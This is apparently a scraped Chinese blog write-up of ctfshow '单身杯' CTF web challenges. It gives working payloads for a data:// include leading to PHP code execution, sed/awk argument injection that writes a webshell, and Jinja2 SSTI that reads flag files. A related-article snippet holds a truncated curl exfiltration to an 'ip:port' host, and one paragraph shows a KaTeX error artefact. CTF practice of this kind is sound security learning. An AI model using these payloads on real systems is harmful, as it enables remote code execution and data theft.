Ctfshow [单身杯]

2024-02-19 17:40
文章标签 ctfshow 单身

本文主要是介绍Ctfshow [单身杯],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • web签到
  • easyPHP
    • escapeshellcmd
    • escapeshellarg
    • sed
    • awk
  • 姻缘测试

web签到

<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.comerror_reporting(0);
highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){include $file;}
}
http://2f8afaaf-41c0-440d-83fd-c7d2cf5c0d56.challenge.ctf.show/?1=cat /f1agaaa;file=data://text/plain,<?php system($_GET[1]);?>>?;)]1[TEG_$(metsys php?<,nialp/txet//:atad

data伪协议直接用 ?>截断就行

easyPHP

<?php# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.comerror_reporting(0);
highlight_file(__FILE__);$cmd = $_POST['cmd'];
$param = $_POST['param'];if(isset($cmd) && isset($param)){$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;shell_exec($cmd);
}

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}KaTeX parse error: Undefined control sequence: \x at position 4: `, \̲x̲0A 和 \xFF。 ' 和 …`, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。此函数保证用户输入的数据在传送到shell函数之前进行转义。

escapeshellarg

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

sed

方法1

sed ‘s/shell_exec/system/g;/esca/d;w 1.php’ index.php

cmd=sed&param=s/shell_exec/system/g;/esca/d;w 1.php

在这里插入图片描述

方法2

sed ‘/php|POST|exec/ w 2.php’ index.php

cmd=sed&param=/php|POST|exec/ w 2.php

awk

方法3

awk ‘{system(“ls / >b”)}’ index.php

cmd=awk&param={system(“ls / >b”)}

cmd=awk&param={system(“cat /f1agaaa>b”)}

姻缘测试

传入参数发现是SSTI类题目,并且对{}进行了过滤

<!-- /source -->
def is_hacker(string): 
"""整那些个花里胡哨的waf有啥用,
还不如这一个,
直接杜绝SSTI""" 
if "{" in string and "}" in string : return True 
else: return False

想法是将{ }分为两部分分别放在参数boy_name和girl_name

在这里插入图片描述

payload

1.
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}
2.
?boy_name={%print('&girl_name=%s'|format(().__class__.__bases__[0].__subclasses__()[99].get_data(0, "/flag.txt")))%}
boy_name={%print('&girl_name=%s'|format(().__class__.__bases__[0].__subclasses__()[99].get_data(0, "/flag.txt")))%}

这篇关于Ctfshow [单身杯]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/725428

相关文章

ctfshow-爆破(web21-web28)

web21 提交用户和密码后发现没有用户以及密码的值呢  常见的是在post数据中 或者url后传值 但这里都没有 发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了 设置变量 增加前缀 增加编码方式 取消选项 记住 只要payload存在一下

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就

CtfShow中的misc17解法

第一步: 首先拿随波逐流打开看看,没发现啥突破点,很正常 第二步:使用kali中的binwalk命令,解析出一个文件夹,打开压缩包后发现没什么东西     第三步:结合题目给的提示,使用tweakpng打开图片进行IDAT合并,combine all iDAt 第四步:继续用binwalk命令来解析,得到一个新的文件夹 ,里面有一个D6E文件,可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可 先尝试cat (右键源代码)  tail,tac皆可 system("tail fla*"); tac 逆序读  tail 默认读后1

ctfshow之web58~web71

目录 web58 思路一: 思路二:  思路三:    web59~web65 web66~web67  web68~web70 web71 web58 if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);} PHP eval() 函数介绍 定义和用法 e

【CTF Web】CTFShow 协议头信息泄露 Writeup(HTTP协议+信息收集)

协议头信息泄露 10 没思路的时候抓个包看看,可能会有意外收获 解法 按 F12 打开开发者工具,点开网络,刷新网页。 flag 在响应标头。 Flag ctfshow{7fa61c00-ff46-4b3e-8d08-1eaafae521cc} 声明 本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶

CTFSHOW misc入门中misc8解法

第一步:下载misc8压缩包后解压缩,发现是一张misc8.png图片 第二步:老规矩,还是在kali里用binwalk命令查看文件是否包含隐藏文件,发现有两个png文件 第三步:使用binwalk -e 命令看是否能进行解析文件,结果不能。继续使用foremost来进行解析  第四步:使用foremost -T命令来解析,生成两个文件夹,在第二个文件夹中发现一个png文件夹

ctfshow之web29~web51

web29 前瞻知识:  isset() #函数用于检测变量是否已设置并且非 NULL。 highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.#该函数接受一个参数,"_FILE_",是一个特殊的变量,表示当前文件的路径。因此,这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。 preg_match("/flag/i"

ctfshow web其他 web450--web460

web450 <?phphighlight_file(__FILE__);$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){ //小写字母^小写字母^小写字母eval("($ctfshow)();");} ?ctfshow=phpinfo^phpinfo^phpinf

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?code=str(''.__class__.__bases__[0].__subclasses__[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=